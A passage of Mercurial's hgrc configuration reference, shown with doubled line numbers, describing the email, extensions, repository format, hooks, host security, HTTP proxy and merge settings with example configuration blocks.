758 758 Ignore white space when comparing lines.
759 759
760 760 ``ignorewsamount``
761 761 Ignore changes in the amount of white space.
762 762
763 763 ``ignoreblanklines``
764 764 Ignore changes whose lines are all blank.
765 765
766 766 ``unified``
767 767 Number of lines of context to show.
768 768
769 769 ``word-diff``
770 770 Highlight changed words.
771 771
772 772 ``email``
773 773 ---------
774 774
775 775 Settings for extensions that send email messages.
776 776
777 777 ``from``
778 778 Optional. Email address to use in "From" header and SMTP envelope
779 779 of outgoing messages.
780 780
781 781 ``to``
782 782 Optional. Comma-separated list of recipients' email addresses.
783 783
784 784 ``cc``
785 785 Optional. Comma-separated list of carbon copy recipients'
786 786 email addresses.
787 787
788 788 ``bcc``
789 789 Optional. Comma-separated list of blind carbon copy recipients'
790 790 email addresses.
791 791
792 792 ``method``
793 793 Optional. Method to use to send email messages. If value is ``smtp``
794 794 (default), use SMTP (see the ``[smtp]`` section for configuration).
795 795 Otherwise, use as name of program to run that acts like sendmail
796 796 (takes ``-f`` option for sender, list of recipients on command line,
797 797 message on stdin). Normally, setting this to ``sendmail`` or
798 798 ``/usr/sbin/sendmail`` is enough to use sendmail to send messages.
799 799
800 800 ``charsets``
801 801 Optional. Comma-separated list of character sets considered
802 802 convenient for recipients. Addresses, headers, and parts not
803 803 containing patches of outgoing messages will be encoded in the
804 804 first character set to which conversion from local encoding
805 805 (``$HGENCODING``, ``ui.fallbackencoding``) succeeds. If correct
806 806 conversion fails, the text in question is sent as is.
807 807 (default: '')
808 808
809 809 Order of outgoing email character sets:
810 810
811 811 1. ``us-ascii``: always first, regardless of settings
812 812 2. ``email.charsets``: in order given by user
813 813 3. ``ui.fallbackencoding``: if not in email.charsets
814 814 4. ``$HGENCODING``: if not in email.charsets
815 815 5. ``utf-8``: always last, regardless of settings
816 816
817 817 Email example::
818 818
819 819 [email]
820 820 from = Joseph User <joe.user@example.com>
821 821 method = /usr/sbin/sendmail
822 822 # charsets for western Europeans
823 823 # us-ascii, utf-8 omitted, as they are tried first and last
824 824 charsets = iso-8859-1, iso-8859-15, windows-1252
825 825
826 826
827 827 ``extensions``
828 828 --------------
829 829
830 830 Mercurial has an extension mechanism for adding new features. To
831 831 enable an extension, create an entry for it in this section.
832 832
833 833 If you know that the extension is already in Python's search path,
834 834 you can give the name of the module, followed by ``=``, with nothing
835 835 after the ``=``.
836 836
837 837 Otherwise, give a name that you choose, followed by ``=``, followed by
838 838 the path to the ``.py`` file (including the file name extension) that
839 839 defines the extension.
840 840
841 841 To explicitly disable an extension that is enabled in an hgrc of
842 842 broader scope, prepend its path with ``!``, as in ``foo = !/ext/path``
843 843 or ``foo = !`` when path is not supplied.
844 844
845 845 Example for ``~/.hgrc``::
846 846
847 847 [extensions]
848 848 # (the churn extension will get loaded from Mercurial's path)
849 849 churn =
850 850 # (this extension will get loaded from the file specified)
851 851 myfeature = ~/.hgext/myfeature.py
852 852
853 853
854 854 ``format``
855 855 ----------
856 856
857 857 Configuration that controls the repository format. Newer format options are more
858 858 powerful, but incompatible with some older versions of Mercurial. Format options
859 859 are considered at repository initialization only. You need to make a new clone
860 860 for config changes to be taken into account.
861 861
862 862 For more details about repository format and version compatibility, see
863 863 https://www.mercurial-scm.org/wiki/MissingRequirement
864 864
865 865 ``usegeneraldelta``
866 866 Enable or disable the "generaldelta" repository format which improves
867 867 repository compression by allowing "revlog" to store deltas against
868 868 arbitrary revisions instead of the previously stored one. This provides
869 869 significant improvement for repositories with branches.
870 870
871 871 Repositories with this on-disk format require Mercurial version 1.9.
872 872
873 873 Enabled by default.
874 874
875 875 ``dotencode``
876 876 Enable or disable the "dotencode" repository format which enhances
877 877 the "fncache" repository format (which has to be enabled to use
878 878 dotencode) to avoid issues with filenames starting with "._" on
879 879 Mac OS X and spaces on Windows.
880 880
881 881 Repositories with this on-disk format require Mercurial version 1.7.
882 882
883 883 Enabled by default.
884 884
885 885 ``usefncache``
886 886 Enable or disable the "fncache" repository format which enhances
887 887 the "store" repository format (which has to be enabled to use
888 888 fncache) to allow longer filenames and avoids using Windows
889 889 reserved names, e.g. "nul".
890 890
891 891 Repositories with this on-disk format require Mercurial version 1.1.
892 892
893 893 Enabled by default.
894 894
895 895 ``use-persistent-nodemap``
896 896 Enable or disable the "persistent-nodemap" feature which improves
897 897 performance if the rust extensions are available.
898 898
899 899 The "persistence-nodemap" persist the "node -> rev" on disk removing the
900 900 need to dynamically build that mapping for each Mercurial invocation. This
901 901 significantly reduce the startup cost of various local and server-side
902 902 operation for larger repository.
903 903
904 904 The performance improving version of this feature is currently only
905 905 implemented in Rust, so people not using a version of Mercurial compiled
906 906 with the Rust part might actually suffer some slowdown. For this reason,
907 907 Such version will by default refuse to access such repositories. That
908 908 behavior can be controlled by configuration. Check
909 909 :hg:`help config.storage.revlog.persistent-nodemap.slow-path` for details.
910 910
911 911 Repository with this on-disk format require Mercurial version 5.4 or above.
912 912
913 913 By default this format variant is disabled if fast implementation is not
914 914 available and enabled by default if the fast implementation is available.
915 915
916 916 To accomodate install of Mercurial without the fast implementation you can
917 917 downgrade your repository. To do so run the following command:
918 918
919 919 $ hg debugupgraderepo \
920 920 --run \
921 921 --config format.use-persistent-nodemap=False \
922 922 --config storage.revlog.persistent-nodemap.slow-path=allow
923 923
924 924 ``use-share-safe``
925 925 Enforce "safe" behaviors for all "shares" that access this repository.
926 926
927 927 With this feature, "shares" using this repository as a source will:
928 928
929 929 * read the source repository's configuration (`<source>/.hg/hgrc`).
930 930 * read and use the source repository's "requirements"
931 931 (except the working copy specific one).
932 932
933 933 Without this feature, "shares" using this repository as a source will:
934 934
935 935 * keep tracking the repository "requirements" in the share only, ignoring
936 936 the source "requirements", possibly diverging from them.
937 937 * ignore source repository config. This can create problems, like silently
938 938 ignoring important hooks.
939 939
940 940 Beware that existing shares will not be upgraded/downgraded, and by
941 941 default, Mercurial will refuse to interact with them until the mismatch
942 942 is resolved. See :hg:`help config share.safe-mismatch.source-safe` and
943 943 :hg:`help config share.safe-mismatch.source-not-safe` for details.
944 944
945 945 Introduced in Mercurial 5.7.
946 946
947 947 Disabled by default.
948 948
949 949 ``usestore``
950 950 Enable or disable the "store" repository format which improves
951 951 compatibility with systems that fold case or otherwise mangle
952 952 filenames. Disabling this option will allow you to store longer filenames
953 953 in some situations at the expense of compatibility.
954 954
955 955 Repositories with this on-disk format require Mercurial version 0.9.4.
956 956
957 957 Enabled by default.
958 958
959 959 ``sparse-revlog``
960 960 Enable or disable the ``sparse-revlog`` delta strategy. This format improves
961 961 delta re-use inside revlog. For very branchy repositories, it results in a
962 962 smaller store. For repositories with many revisions, it also helps
963 963 performance (by using shortened delta chains.)
964 964
965 965 Repositories with this on-disk format require Mercurial version 4.7
966 966
967 967 Enabled by default.
968 968
969 969 ``revlog-compression``
970 970 Compression algorithm used by revlog. Supported values are `zlib` and
971 971 `zstd`. The `zlib` engine is the historical default of Mercurial. `zstd` is
972 972 a newer format that is usually a net win over `zlib`, operating faster at
973 973 better compression rates. Use `zstd` to reduce CPU usage. Multiple values
974 974 can be specified, the first available one will be used.
975 975
976 976 On some systems, the Mercurial installation may lack `zstd` support.
977 977
978 978 Default is `zstd` if available, `zlib` otherwise.
979 979
980 980 ``bookmarks-in-store``
981 981 Store bookmarks in .hg/store/. This means that bookmarks are shared when
982 982 using `hg share` regardless of the `-B` option.
983 983
984 984 Repositories with this on-disk format require Mercurial version 5.1.
985 985
986 986 Disabled by default.
987 987
988 988
989 989 ``graph``
990 990 ---------
991 991
992 992 Web graph view configuration. This section let you change graph
993 993 elements display properties by branches, for instance to make the
994 994 ``default`` branch stand out.
995 995
996 996 Each line has the following format::
997 997
998 998 <branch>.<argument> = <value>
999 999
1000 1000 where ``<branch>`` is the name of the branch being
1001 1001 customized. Example::
1002 1002
1003 1003 [graph]
1004 1004 # 2px width
1005 1005 default.width = 2
1006 1006 # red color
1007 1007 default.color = FF0000
1008 1008
1009 1009 Supported arguments:
1010 1010
1011 1011 ``width``
1012 1012 Set branch edges width in pixels.
1013 1013
1014 1014 ``color``
1015 1015 Set branch edges color in hexadecimal RGB notation.
1016 1016
1017 1017 ``hooks``
1018 1018 ---------
1019 1019
1020 1020 Commands or Python functions that get automatically executed by
1021 1021 various actions such as starting or finishing a commit. Multiple
1022 1022 hooks can be run for the same action by appending a suffix to the
1023 1023 action. Overriding a site-wide hook can be done by changing its
1024 1024 value or setting it to an empty string. Hooks can be prioritized
1025 1025 by adding a prefix of ``priority.`` to the hook name on a new line
1026 1026 and setting the priority. The default priority is 0.
1027 1027
1028 1028 Example ``.hg/hgrc``::
1029 1029
1030 1030 [hooks]
1031 1031 # update working directory after adding changesets
1032 1032 changegroup.update = hg update
1033 1033 # do not use the site-wide hook
1034 1034 incoming =
1035 1035 incoming.email = /my/email/hook
1036 1036 incoming.autobuild = /my/build/hook
1037 1037 # force autobuild hook to run before other incoming hooks
1038 1038 priority.incoming.autobuild = 1
1039 1039 ### control HGPLAIN setting when running autobuild hook
1040 1040 # HGPLAIN always set (default from Mercurial 5.7)
1041 1041 incoming.autobuild:run-with-plain = yes
1042 1042 # HGPLAIN never set
1043 1043 incoming.autobuild:run-with-plain = no
1044 1044 # HGPLAIN inherited from environment (default before Mercurial 5.7)
1045 1045 incoming.autobuild:run-with-plain = auto
1046 1046
1047 1047 Most hooks are run with environment variables set that give useful
1048 1048 additional information. For each hook below, the environment variables
1049 1049 it is passed are listed with names in the form ``$HG_foo``. The
1050 1050 ``$HG_HOOKTYPE`` and ``$HG_HOOKNAME`` variables are set for all hooks.
1051 1051 They contain the type of hook which triggered the run and the full name
1052 1052 of the hook in the config, respectively. In the example above, this will
1053 1053 be ``$HG_HOOKTYPE=incoming`` and ``$HG_HOOKNAME=incoming.email``.
1054 1054
1055 1055 .. container:: windows
1056 1056
1057 1057 Some basic Unix syntax can be enabled for portability, including ``$VAR``
1058 1058 and ``${VAR}`` style variables. A ``~`` followed by ``\`` or ``/`` will
1059 1059 be expanded to ``%USERPROFILE%`` to simulate a subset of tilde expansion
1060 1060 on Unix. To use a literal ``$`` or ``~``, it must be escaped with a back
1061 1061 slash or inside of a strong quote. Strong quotes will be replaced by
1062 1062 double quotes after processing.
1063 1063
1064 1064 This feature is enabled by adding a prefix of ``tonative.`` to the hook
1065 1065 name on a new line, and setting it to ``True``. For example::
1066 1066
1067 1067 [hooks]
1068 1068 incoming.autobuild = /my/build/hook
1069 1069 # enable translation to cmd.exe syntax for autobuild hook
1070 1070 tonative.incoming.autobuild = True
1071 1071
1072 1072 ``changegroup``
1073 1073 Run after a changegroup has been added via push, pull or unbundle. The ID of
1074 1074 the first new changeset is in ``$HG_NODE`` and last is in ``$HG_NODE_LAST``.
1075 1075 The URL from which changes came is in ``$HG_URL``.
1076 1076
1077 1077 ``commit``
1078 1078 Run after a changeset has been created in the local repository. The ID
1079 1079 of the newly created changeset is in ``$HG_NODE``. Parent changeset
1080 1080 IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1081 1081
1082 1082 ``incoming``
1083 1083 Run after a changeset has been pulled, pushed, or unbundled into
1084 1084 the local repository. The ID of the newly arrived changeset is in
1085 1085 ``$HG_NODE``. The URL that was source of the changes is in ``$HG_URL``.
1086 1086
1087 1087 ``outgoing``
1088 1088 Run after sending changes from the local repository to another. The ID of
1089 1089 first changeset sent is in ``$HG_NODE``. The source of operation is in
1090 1090 ``$HG_SOURCE``. Also see :hg:`help config.hooks.preoutgoing`.
1091 1091
1092 1092 ``post-<command>``
1093 1093 Run after successful invocations of the associated command. The
1094 1094 contents of the command line are passed as ``$HG_ARGS`` and the result
1095 1095 code in ``$HG_RESULT``. Parsed command line arguments are passed as
1096 1096 ``$HG_PATS`` and ``$HG_OPTS``. These contain string representations of
1097 1097 the python data internally passed to <command>. ``$HG_OPTS`` is a
1098 1098 dictionary of options (with unspecified options set to their defaults).
1099 1099 ``$HG_PATS`` is a list of arguments. Hook failure is ignored.
1100 1100
1101 1101 ``fail-<command>``
1102 1102 Run after a failed invocation of an associated command. The contents
1103 1103 of the command line are passed as ``$HG_ARGS``. Parsed command line
1104 1104 arguments are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain
1105 1105 string representations of the python data internally passed to
1106 1106 <command>. ``$HG_OPTS`` is a dictionary of options (with unspecified
1107 1107 options set to their defaults). ``$HG_PATS`` is a list of arguments.
1108 1108 Hook failure is ignored.
1109 1109
1110 1110 ``pre-<command>``
1111 1111 Run before executing the associated command. The contents of the
1112 1112 command line are passed as ``$HG_ARGS``. Parsed command line arguments
1113 1113 are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain string
1114 1114 representations of the data internally passed to <command>. ``$HG_OPTS``
1115 1115 is a dictionary of options (with unspecified options set to their
1116 1116 defaults). ``$HG_PATS`` is a list of arguments. If the hook returns
1117 1117 failure, the command doesn't execute and Mercurial returns the failure
1118 1118 code.
1119 1119
1120 1120 ``prechangegroup``
1121 1121 Run before a changegroup is added via push, pull or unbundle. Exit
1122 1122 status 0 allows the changegroup to proceed. A non-zero status will
1123 1123 cause the push, pull or unbundle to fail. The URL from which changes
1124 1124 will come is in ``$HG_URL``.
1125 1125
1126 1126 ``precommit``
1127 1127 Run before starting a local commit. Exit status 0 allows the
1128 1128 commit to proceed. A non-zero status will cause the commit to fail.
1129 1129 Parent changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1130 1130
1131 1131 ``prelistkeys``
1132 1132 Run before listing pushkeys (like bookmarks) in the
1133 1133 repository. A non-zero status will cause failure. The key namespace is
1134 1134 in ``$HG_NAMESPACE``.
1135 1135
1136 1136 ``preoutgoing``
1137 1137 Run before collecting changes to send from the local repository to
1138 1138 another. A non-zero status will cause failure. This lets you prevent
1139 1139 pull over HTTP or SSH. It can also prevent propagating commits (via
1140 1140 local pull, push (outbound) or bundle commands), but not completely,
1141 1141 since you can just copy files instead. The source of operation is in
1142 1142 ``$HG_SOURCE``. If "serve", the operation is happening on behalf of a remote
1143 1143 SSH or HTTP repository. If "push", "pull" or "bundle", the operation
1144 1144 is happening on behalf of a repository on same system.
1145 1145
1146 1146 ``prepushkey``
1147 1147 Run before a pushkey (like a bookmark) is added to the
1148 1148 repository. A non-zero status will cause the key to be rejected. The
1149 1149 key namespace is in ``$HG_NAMESPACE``, the key is in ``$HG_KEY``,
1150 1150 the old value (if any) is in ``$HG_OLD``, and the new value is in
1151 1151 ``$HG_NEW``.
1152 1152
1153 1153 ``pretag``
1154 1154 Run before creating a tag. Exit status 0 allows the tag to be
1155 1155 created. A non-zero status will cause the tag to fail. The ID of the
1156 1156 changeset to tag is in ``$HG_NODE``. The name of tag is in ``$HG_TAG``. The
1157 1157 tag is local if ``$HG_LOCAL=1``, or in the repository if ``$HG_LOCAL=0``.
1158 1158
1159 1159 ``pretxnopen``
1160 1160 Run before any new repository transaction is open. The reason for the
1161 1161 transaction will be in ``$HG_TXNNAME``, and a unique identifier for the
1162 1162 transaction will be in ``$HG_TXNID``. A non-zero status will prevent the
1163 1163 transaction from being opened.
1164 1164
1165 1165 ``pretxnclose``
1166 1166 Run right before the transaction is actually finalized. Any repository change
1167 1167 will be visible to the hook program. This lets you validate the transaction
1168 1168 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1169 1169 status will cause the transaction to be rolled back. The reason for the
1170 1170 transaction opening will be in ``$HG_TXNNAME``, and a unique identifier for
1171 1171 the transaction will be in ``$HG_TXNID``. The rest of the available data will
1172 1172 vary according the transaction type. Changes unbundled to the repository will
1173 1173 add ``$HG_URL`` and ``$HG_SOURCE``. New changesets will add ``$HG_NODE`` (the
1174 1174 ID of the first added changeset), ``$HG_NODE_LAST`` (the ID of the last added
1175 1175 changeset). Bookmark and phase changes will set ``$HG_BOOKMARK_MOVED`` and
1176 1176 ``$HG_PHASES_MOVED`` to ``1`` respectively. The number of new obsmarkers, if
1177 1177 any, will be in ``$HG_NEW_OBSMARKERS``, etc.
1178 1178
1179 1179 ``pretxnclose-bookmark``
1180 1180 Run right before a bookmark change is actually finalized. Any repository
1181 1181 change will be visible to the hook program. This lets you validate the
1182 1182 transaction content or change it. Exit status 0 allows the commit to
1183 1183 proceed. A non-zero status will cause the transaction to be rolled back.
1184 1184 The name of the bookmark will be available in ``$HG_BOOKMARK``, the new
1185 1185 bookmark location will be available in ``$HG_NODE`` while the previous
1186 1186 location will be available in ``$HG_OLDNODE``. In case of a bookmark
1187 1187 creation ``$HG_OLDNODE`` will be empty. In case of deletion ``$HG_NODE``
1188 1188 will be empty.
1189 1189 In addition, the reason for the transaction opening will be in
1190 1190 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1191 1191 ``$HG_TXNID``.
1192 1192
1193 1193 ``pretxnclose-phase``
1194 1194 Run right before a phase change is actually finalized. Any repository change
1195 1195 will be visible to the hook program. This lets you validate the transaction
1196 1196 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1197 1197 status will cause the transaction to be rolled back. The hook is called
1198 1198 multiple times, once for each revision affected by a phase change.
1199 1199 The affected node is available in ``$HG_NODE``, the phase in ``$HG_PHASE``
1200 1200 while the previous ``$HG_OLDPHASE``. In case of new node, ``$HG_OLDPHASE``
1201 1201 will be empty. In addition, the reason for the transaction opening will be in
1202 1202 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1203 1203 ``$HG_TXNID``. The hook is also run for newly added revisions. In this case
1204 1204 the ``$HG_OLDPHASE`` entry will be empty.
1205 1205
1206 1206 ``txnclose``
1207 1207 Run after any repository transaction has been committed. At this
1208 1208 point, the transaction can no longer be rolled back. The hook will run
1209 1209 after the lock is released. See :hg:`help config.hooks.pretxnclose` for
1210 1210 details about available variables.
1211 1211
1212 1212 ``txnclose-bookmark``
1213 1213 Run after any bookmark change has been committed. At this point, the
1214 1214 transaction can no longer be rolled back. The hook will run after the lock
1215 1215 is released. See :hg:`help config.hooks.pretxnclose-bookmark` for details
1216 1216 about available variables.
1217 1217
1218 1218 ``txnclose-phase``
1219 1219 Run after any phase change has been committed. At this point, the
1220 1220 transaction can no longer be rolled back. The hook will run after the lock
1221 1221 is released. See :hg:`help config.hooks.pretxnclose-phase` for details about
1222 1222 available variables.
1223 1223
1224 1224 ``txnabort``
1225 1225 Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`
1226 1226 for details about available variables.
1227 1227
1228 1228 ``pretxnchangegroup``
1229 1229 Run after a changegroup has been added via push, pull or unbundle, but before
1230 1230 the transaction has been committed. The changegroup is visible to the hook
1231 1231 program. This allows validation of incoming changes before accepting them.
1232 1232 The ID of the first new changeset is in ``$HG_NODE`` and last is in
1233 1233 ``$HG_NODE_LAST``. Exit status 0 allows the transaction to commit. A non-zero
1234 1234 status will cause the transaction to be rolled back, and the push, pull or
1235 1235 unbundle will fail. The URL that was the source of changes is in ``$HG_URL``.
1236 1236
1237 1237 ``pretxncommit``
1238 1238 Run after a changeset has been created, but before the transaction is
1239 1239 committed. The changeset is visible to the hook program. This allows
1240 1240 validation of the commit message and changes. Exit status 0 allows the
1241 1241 commit to proceed. A non-zero status will cause the transaction to
1242 1242 be rolled back. The ID of the new changeset is in ``$HG_NODE``. The parent
1243 1243 changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1244 1244
1245 1245 ``preupdate``
1246 1246 Run before updating the working directory. Exit status 0 allows
1247 1247 the update to proceed. A non-zero status will prevent the update.
1248 1248 The changeset ID of first new parent is in ``$HG_PARENT1``. If updating to a
1249 1249 merge, the ID of second new parent is in ``$HG_PARENT2``.
1250 1250
1251 1251 ``listkeys``
1252 1252 Run after listing pushkeys (like bookmarks) in the repository. The
1253 1253 key namespace is in ``$HG_NAMESPACE``. ``$HG_VALUES`` is a
1254 1254 dictionary containing the keys and values.
1255 1255
1256 1256 ``pushkey``
1257 1257 Run after a pushkey (like a bookmark) is added to the
1258 1258 repository. The key namespace is in ``$HG_NAMESPACE``, the key is in
1259 1259 ``$HG_KEY``, the old value (if any) is in ``$HG_OLD``, and the new
1260 1260 value is in ``$HG_NEW``.
1261 1261
1262 1262 ``tag``
1263 1263 Run after a tag is created. The ID of the tagged changeset is in ``$HG_NODE``.
1264 1264 The name of tag is in ``$HG_TAG``. The tag is local if ``$HG_LOCAL=1``, or in
1265 1265 the repository if ``$HG_LOCAL=0``.
1266 1266
1267 1267 ``update``
1268 1268 Run after updating the working directory. The changeset ID of first
1269 1269 new parent is in ``$HG_PARENT1``. If updating to a merge, the ID of second new
1270 1270 parent is in ``$HG_PARENT2``. If the update succeeded, ``$HG_ERROR=0``. If the
1271 1271 update failed (e.g. because conflicts were not resolved), ``$HG_ERROR=1``.
1272 1272
1273 1273 .. note::
1274 1274
1275 1275 It is generally better to use standard hooks rather than the
1276 1276 generic pre- and post- command hooks, as they are guaranteed to be
1277 1277 called in the appropriate contexts for influencing transactions.
1278 1278 Also, hooks like "commit" will be called in all contexts that
1279 1279 generate a commit (e.g. tag) and not just the commit command.
1280 1280
1281 1281 .. note::
1282 1282
1283 1283 Environment variables with empty values may not be passed to
1284 1284 hooks on platforms such as Windows. As an example, ``$HG_PARENT2``
1285 1285 will have an empty value under Unix-like platforms for non-merge
1286 1286 changesets, while it will not be available at all under Windows.
1287 1287
1288 1288 The syntax for Python hooks is as follows::
1289 1289
1290 1290 hookname = python:modulename.submodule.callable
1291 1291 hookname = python:/path/to/python/module.py:callable
1292 1292
1293 1293 Python hooks are run within the Mercurial process. Each hook is
1294 1294 called with at least three keyword arguments: a ui object (keyword
1295 1295 ``ui``), a repository object (keyword ``repo``), and a ``hooktype``
1296 1296 keyword that tells what kind of hook is used. Arguments listed as
1297 1297 environment variables above are passed as keyword arguments, with no
1298 1298 ``HG_`` prefix, and names in lower case.
1299 1299
1300 1300 If a Python hook returns a "true" value or raises an exception, this
1301 1301 is treated as a failure.
1302 1302
1303 1303
1304 1304 ``hostfingerprints``
1305 1305 --------------------
1306 1306
1307 1307 (Deprecated. Use ``[hostsecurity]``'s ``fingerprints`` options instead.)
1308 1308
1309 1309 Fingerprints of the certificates of known HTTPS servers.
1310 1310
1311 1311 A HTTPS connection to a server with a fingerprint configured here will
1312 1312 only succeed if the servers certificate matches the fingerprint.
1313 1313 This is very similar to how ssh known hosts works.
1314 1314
1315 1315 The fingerprint is the SHA-1 hash value of the DER encoded certificate.
1316 1316 Multiple values can be specified (separated by spaces or commas). This can
1317 1317 be used to define both old and new fingerprints while a host transitions
1318 1318 to a new certificate.
1319 1319
1320 1320 The CA chain and web.cacerts is not used for servers with a fingerprint.
1321 1321
1322 1322 For example::
1323 1323
1324 1324 [hostfingerprints]
1325 1325 hg.intevation.de = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1326 1326 hg.intevation.org = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1327 1327
1328 1328 ``hostsecurity``
1329 1329 ----------------
1330 1330
1331 1331 Used to specify global and per-host security settings for connecting to
1332 1332 other machines.
1333 1333
1334 1334 The following options control default behavior for all hosts.
1335 1335
1336 1336 ``ciphers``
1337 1337 Defines the cryptographic ciphers to use for connections.
1338 1338
1339 1339 Value must be a valid OpenSSL Cipher List Format as documented at
1340 1340 https://www.openssl.org/docs/manmaster/apps/ciphers.html#CIPHER-LIST-FORMAT.
1341 1341
1342 1342 This setting is for advanced users only. Setting to incorrect values
1343 1343 can significantly lower connection security or decrease performance.
1344 1344 You have been warned.
1345 1345
1346 1346 This option requires Python 2.7.
1347 1347
1348 1348 ``minimumprotocol``
1349 1349 Defines the minimum channel encryption protocol to use.
1350 1350
1351 1351 By default, the highest version of TLS supported by both client and server
1352 1352 is used.
1353 1353
1354 1354 Allowed values are: ``tls1.0``, ``tls1.1``, ``tls1.2``.
1355 1355
1356 1356 When running on an old Python version, only ``tls1.0`` is allowed since
1357 1357 old versions of Python only support up to TLS 1.0.
1358 1358
1359 1359 When running a Python that supports modern TLS versions, the default is
1360 1360 ``tls1.1``. ``tls1.0`` can still be used to allow TLS 1.0. However, this
1361 1361 weakens security and should only be used as a feature of last resort if
1362 1362 a server does not support TLS 1.1+.
1363 1363
1364 1364 Options in the ``[hostsecurity]`` section can have the form
1365 1365 ``hostname``:``setting``. This allows multiple settings to be defined on a
1366 1366 per-host basis.
1367 1367
1368 1368 The following per-host settings can be defined.
1369 1369
1370 1370 ``ciphers``
1371 1371 This behaves like ``ciphers`` as described above except it only applies
1372 1372 to the host on which it is defined.
1373 1373
1374 1374 ``fingerprints``
1375 1375 A list of hashes of the DER encoded peer/remote certificate. Values have
1376 1376 the form ``algorithm``:``fingerprint``. e.g.
1377 1377 ``sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2``.
1378 1378 In addition, colons (``:``) can appear in the fingerprint part.
1379 1379
1380 1380 The following algorithms/prefixes are supported: ``sha1``, ``sha256``,
1381 1381 ``sha512``.
1382 1382
1383 1383 Use of ``sha256`` or ``sha512`` is preferred.
1384 1384
1385 1385 If a fingerprint is specified, the CA chain is not validated for this
1386 1386 host and Mercurial will require the remote certificate to match one
1387 1387 of the fingerprints specified. This means if the server updates its
1388 1388 certificate, Mercurial will abort until a new fingerprint is defined.
1389 1389 This can provide stronger security than traditional CA-based validation
1390 1390 at the expense of convenience.
1391 1391
1392 1392 This option takes precedence over ``verifycertsfile``.
1393 1393
1394 1394 ``minimumprotocol``
1395 1395 This behaves like ``minimumprotocol`` as described above except it
1396 1396 only applies to the host on which it is defined.
1397 1397
1398 1398 ``verifycertsfile``
1399 1399 Path to file a containing a list of PEM encoded certificates used to
1400 1400 verify the server certificate. Environment variables and ``~user``
1401 1401 constructs are expanded in the filename.
1402 1402
1403 1403 The server certificate or the certificate's certificate authority (CA)
1404 1404 must match a certificate from this file or certificate verification
1405 1405 will fail and connections to the server will be refused.
1406 1406
1407 1407 If defined, only certificates provided by this file will be used:
1408 1408 ``web.cacerts`` and any system/default certificates will not be
1409 1409 used.
1410 1410
1411 1411 This option has no effect if the per-host ``fingerprints`` option
1412 1412 is set.
1413 1413
1414 1414 The format of the file is as follows::
1415 1415
1416 1416 -----BEGIN CERTIFICATE-----
1417 1417 ... (certificate in base64 PEM encoding) ...
1418 1418 -----END CERTIFICATE-----
1419 1419 -----BEGIN CERTIFICATE-----
1420 1420 ... (certificate in base64 PEM encoding) ...
1421 1421 -----END CERTIFICATE-----
1422 1422
1423 1423 For example::
1424 1424
1425 1425 [hostsecurity]
1426 1426 hg.example.com:fingerprints = sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2
1427 1427 hg2.example.com:fingerprints = sha1:914f1aff87249c09b6859b88b1906d30756491ca, sha1:fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1428 1428 hg3.example.com:fingerprints = sha256:9a:b0:dc:e2:75:ad:8a:b7:84:58:e5:1f:07:32:f1:87:e6:bd:24:22:af:b7:ce:8e:9c:b4:10:cf:b9:f4:0e:d2
1429 1429 foo.example.com:verifycertsfile = /etc/ssl/trusted-ca-certs.pem
1430 1430
1431 1431 To change the default minimum protocol version to TLS 1.2 but to allow TLS 1.1
1432 1432 when connecting to ``hg.example.com``::
1433 1433
1434 1434 [hostsecurity]
1435 1435 minimumprotocol = tls1.2
1436 1436 hg.example.com:minimumprotocol = tls1.1
1437 1437
1438 1438 ``http_proxy``
1439 1439 --------------
1440 1440
1441 1441 Used to access web-based Mercurial repositories through a HTTP
1442 1442 proxy.
1443 1443
1444 1444 ``host``
1445 1445 Host name and (optional) port of the proxy server, for example
1446 1446 "myproxy:8000".
1447 1447
1448 1448 ``no``
1449 1449 Optional. Comma-separated list of host names that should bypass
1450 1450 the proxy.
1451 1451
1452 1452 ``passwd``
1453 1453 Optional. Password to authenticate with at the proxy server.
1454 1454
1455 1455 ``user``
1456 1456 Optional. User name to authenticate with at the proxy server.
1457 1457
1458 1458 ``always``
1459 1459 Optional. Always use the proxy, even for localhost and any entries
1460 1460 in ``http_proxy.no``. (default: False)
1461 1461
1462 1462 ``http``
1463 1463 ----------
1464 1464
1465 1465 Used to configure access to Mercurial repositories via HTTP.
1466 1466
1467 1467 ``timeout``
1468 1468 If set, blocking operations will timeout after that many seconds.
1469 1469 (default: None)
1470 1470
1471 1471 ``merge``
1472 1472 ---------
1473 1473
1474 1474 This section specifies behavior during merges and updates.
1475 1475
1476 1476 ``checkignored``
1477 1477 Controls behavior when an ignored file on disk has the same name as a tracked
1478 1478 file in the changeset being merged or updated to, and has different
1479 1479 contents. Options are ``abort``, ``warn`` and ``ignore``. With ``abort``,
1480 1480 abort on such files. With ``warn``, warn on such files and back them up as
1481 1481 ``.orig``. With ``ignore``, don't print a warning and back them up as
1482 1482 ``.orig``. (default: ``abort``)
1483 1483
1484 1484 ``checkunknown``
1485 1485 Controls behavior when an unknown file that isn't ignored has the same name
1486 1486 as a tracked file in the changeset being merged or updated to, and has
1487 1487 different contents. Similar to ``merge.checkignored``, except for files that
1488 1488 are not ignored. (default: ``abort``)
1489 1489
1490 1490 ``on-failure``
1491 1491 When set to ``continue`` (the default), the merge process attempts to
1492 1492 merge all unresolved files using the merge chosen tool, regardless of
1493 1493 whether previous file merge attempts during the process succeeded or not.
1494 1494 Setting this to ``prompt`` will prompt after any merge failure continue
1495 1495 or halt the merge process. Setting this to ``halt`` will automatically
1496 1496 halt the merge process on any merge tool failure. The merge process
1497 1497 can be restarted by using the ``resolve`` command. When a merge is
1498 1498 halted, the repository is left in a normal ``unresolved`` merge state.
1499 1499 (default: ``continue``)
1500 1500
1501 1501 ``strict-capability-check``
1502 1502 Whether capabilities of internal merge tools are checked strictly
